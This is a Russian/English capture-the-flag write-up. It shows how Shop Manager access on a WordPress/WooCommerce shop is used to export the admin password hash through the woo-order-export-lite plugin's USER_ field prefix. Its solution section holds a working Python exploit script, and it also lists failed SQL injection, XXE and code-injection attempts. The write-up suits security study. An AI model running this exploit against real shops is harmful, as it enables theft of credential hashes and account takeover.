← Back to Writeups
CUSTOMMediumWeb

В отпуске (On Vacation)

XESXOR9/2/20265 min read
#web#custom#medium#user_field_prefix_abuse#wp_user_get_sensitive_property#order_export_field_injection#frontend_mode_settings_overrid#cve-2024-9156#cve-2024-43917

В отпуске (On Vacation)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: user_field_prefix_abuse, wp_user_get_sensitive_property, order_export_field_injection, frontend_mode_settings_override

Summary

Walkthrough of the CUSTOM Web В отпуске (On Vacation). Task: WordPress + WooCommerce shop with Shop Manager credentials; extract admin password hash. Solution: Abused woo-order-export-lite plugin's USER_ field prefix to export user_pass column from wp_use

Description

Владелец нашего магазина уехал в отпуск, без связи, без ничего..- А надо срочно отредактировать визуал сайта для новой акции, мы отправили ему письмо голубиной почтой, в ответ получили, что пароли и никаких доступов он не отправит! Мол сами найдите подход, вы же всё таки творческие люди. Мы надеемся на вашу помощь — помогите получить хэш пароля от учетной записи admin.

Формат флага BugCTF{hash}

Сайт: http://5.35.87.181/ Доступ менеджера: tester / tester

Примечание: БД чистится каждые 30 минут. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A WooCommerce shop ("DeathShop") owner is on vacation with no connectivity. We're given Shop Manager credentials (tester/tester) and need to extract the admin user's password hash. The flag format is BugCTF{hash}.

Analysis

Target Stack

  • WordPress 7.0 + WooCommerce 10.8.0
  • Server: nginx/1.24.0 (Ubuntu)
  • HPOS (High-Performance Order Storage) enabled
  • Admin user: id=1, username=admin, email=admin@5.35.87.181.nip.io

Installed Plugins (relevant)

  • woo-order-export-lite 3.4.0 (Advanced Order Export for WooCommerce) — the vulnerable plugin
  • woo-cart-abandonment-recovery 2.1.1
  • ti-woocommerce-wishlist 2.11.1
  • elementor 4.1.0
  • woocommerce-pdf-invoices-packing-slips 5.12.2
  • cart-rest-api-for-woocommerce (CoCart) 4.8.4
  • jetpack, wordfence, updraftplus, wpforms-lite, yoast, etc. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Shop Manager Capabilities

The tester user has the Shop Manager role with capabilities including:

  • manage_woocommerce, list_users, edit_theme_options
  • export, import, view_woocommerce_reports

The view_woocommerce_reports capability is critical — it grants access to the woo-order-export-lite plugin's admin interface.

The Vulnerability: USER_ Field Prefix in woo-order-export-lite

In the plugin's source code at classes/core/class-wc-order-export-order-fields.php, lines 204-206: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php
if ( substr( $field, 0, 5 ) == "USER_" ) { //user field
    $key = substr( $field, 5 );
    $row[$field] = $this->user ? $this->user->get( $key ) : '';
}

The USER_ prefix is designed for exporting user metadata fields from wp_usermeta (e.g., USER_billing_first_name). However, WP_User::get() internally calls __get() which returns properties from the underlying WP_User object — including core wp_users table columns:

  • user_login
  • user_pass ← the password hash
  • user_email
  • user_nicename
  • user_registered
  • display_name ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

There is no filtering or blocklist preventing access to user_pass. Any user with access to the export plugin can request USER_user_pass as an export field and receive the bcrypt hash of any user who has placed an order.

Frontend Mode Settings Override

The plugin's AJAX endpoint (action=order_exporter) supports a mode=frontend parameter that accepts export settings as a JSON string in the settings POST parameter. This allows passing arbitrary order_fields configurations without needing to save them through the admin UI first. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and Get Nonce

Login as the Shop Manager and retrieve the woe_nonce from the order export admin page:

python
import requests, re, json

TARGET = "http://5.35.87.181"
s = requests.Session()

# Login as Shop Manager
s.post(f'{TARGET}/wp-login.php', data={
    'log': 'tester', 'pwd': 'tester', 'wp-submit': 'Log In',
    'redirect_to': f'{TARGET}/wp-admin/', 'testcookie': '1'
}, allow_redirects=True)

# Get woe_nonce from the export page
r = s.get(f'{TARGET}/wp-admin/admin.php?page=wc-order-export')
nonce = re.search(r'"woe_nonce":"([^"]+)"', r.text).group(1)
print(f"[+] woe_nonce: {nonce}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Export with USER_user_pass Field

Send a preview request with custom order_fields that include USER_user_pass:

python
settings = {
    "format": "CSV",
    "sort": "order_id",
    "sort_direction": "DESC",
    "statuses": [],
    "order_custom_fields": [],
    "user_names": ["1"],  # Filter to admin user (ID=1)
    "skip_empty_file": False,
    "summary_report_by_products": 0,
    "custom_php": 0,
    "custom_php_code": "",
    "order_fields": [
        {"key": "order_id", "label": "Order", "checked": 1,
         "order": 0, "colname": "Order", "segment": "orders", "format": ""},
        {"key": "USER_user_pass", "label": "Hash", "checked": 1,
         "order": 1, "colname": "Hash", "segment": "orders", "format": ""},
        {"key": "USER_user_login", "label": "Login", "checked": 1,
         "order": 2, "colname": "Login", "segment": "orders", "format": ""},
        {"key": "USER_user_email", "label": "Email", "checked": 1,
         "order": 3, "colname": "Email", "segment": "orders", "format": ""},
    ],
    "order_product_fields": [],
    "order_coupon_fields": [],
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

r2 = s.post(f'{TARGET}/wp-admin/admin-ajax.php', data={
    "action": "order_exporter",
    "method": "preview",
    "mode": "frontend",
    "tab": "export",
    "woe_nonce": nonce,
    "limit": "5",
    "settings": json.dumps(settings)
})

d = r2.json()
print(d['html'])

Step 3: Extract the Hash

The preview HTML response contained the admin's password hash in the table:

html
<tr>
  <td>65</td>
  <td>REDACTED</td>
  <td>admin</td>
  <td>admin@5.35.87.181.nip.io</td>
</tr>

The hash REDACTED is a WordPress bcrypt hash (the $wp$ prefix is WordPress's wrapper around the standard $2y$ bcrypt format). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches

  1. TI WooCommerce Wishlist SQLi (CVE-2024-9156/CVE-2024-43917): The order parameter in the REST API get_products endpoint was patched in version 2.11.1 — it validates against an ASC/DESC whitelist.

  2. woo-order-export-lite sort parameter SQLi: The sort field is directly interpolated into a LEFT JOIN ON clause without escaping (meta_key='{$sort_field}'), but all error/timing oracles were suppressed by WordPress error handling. Tested error-based (extractvalue, updatexml), UNION-based, time-based (SLEEP), and boolean-based — none produced observable differences. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. woo-order-export-lite custom_php_code eval: The plugin supports arbitrary PHP code execution in exports, but this is gated by the edit_themes capability which is admin-only. Shop Manager doesn't have this.

  4. order_custom_fields / user_custom_fields SQLi: Values are escaped by addslashes() in parse_complex_pairs(), and the sql_subset() function wraps values in quotes. While injection was theoretically possible through the value part (sql_subset doesn't use parameterized queries), WordPress's error suppression prevented any observable oracle. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  5. WooCommerce API key creation for admin: Permission denied — can only create API keys for own user.

  6. WordPress Importer XXE: WordPress uses a safe XML parser that disables external entities.

  7. PDF Invoices footer PHP injection: PHP tags stripped by wp_kses sanitization.

  8. WP REST API / XML-RPC user editing: Permission denied for editing admin user properties. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering user_field_prefix_abuse, wp_user_get_sensitive_property, order_export_field_injection, frontend_mode_settings_override was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-25 • CUSTOM • В отпуске (On Vacation) • Difficulty: Medium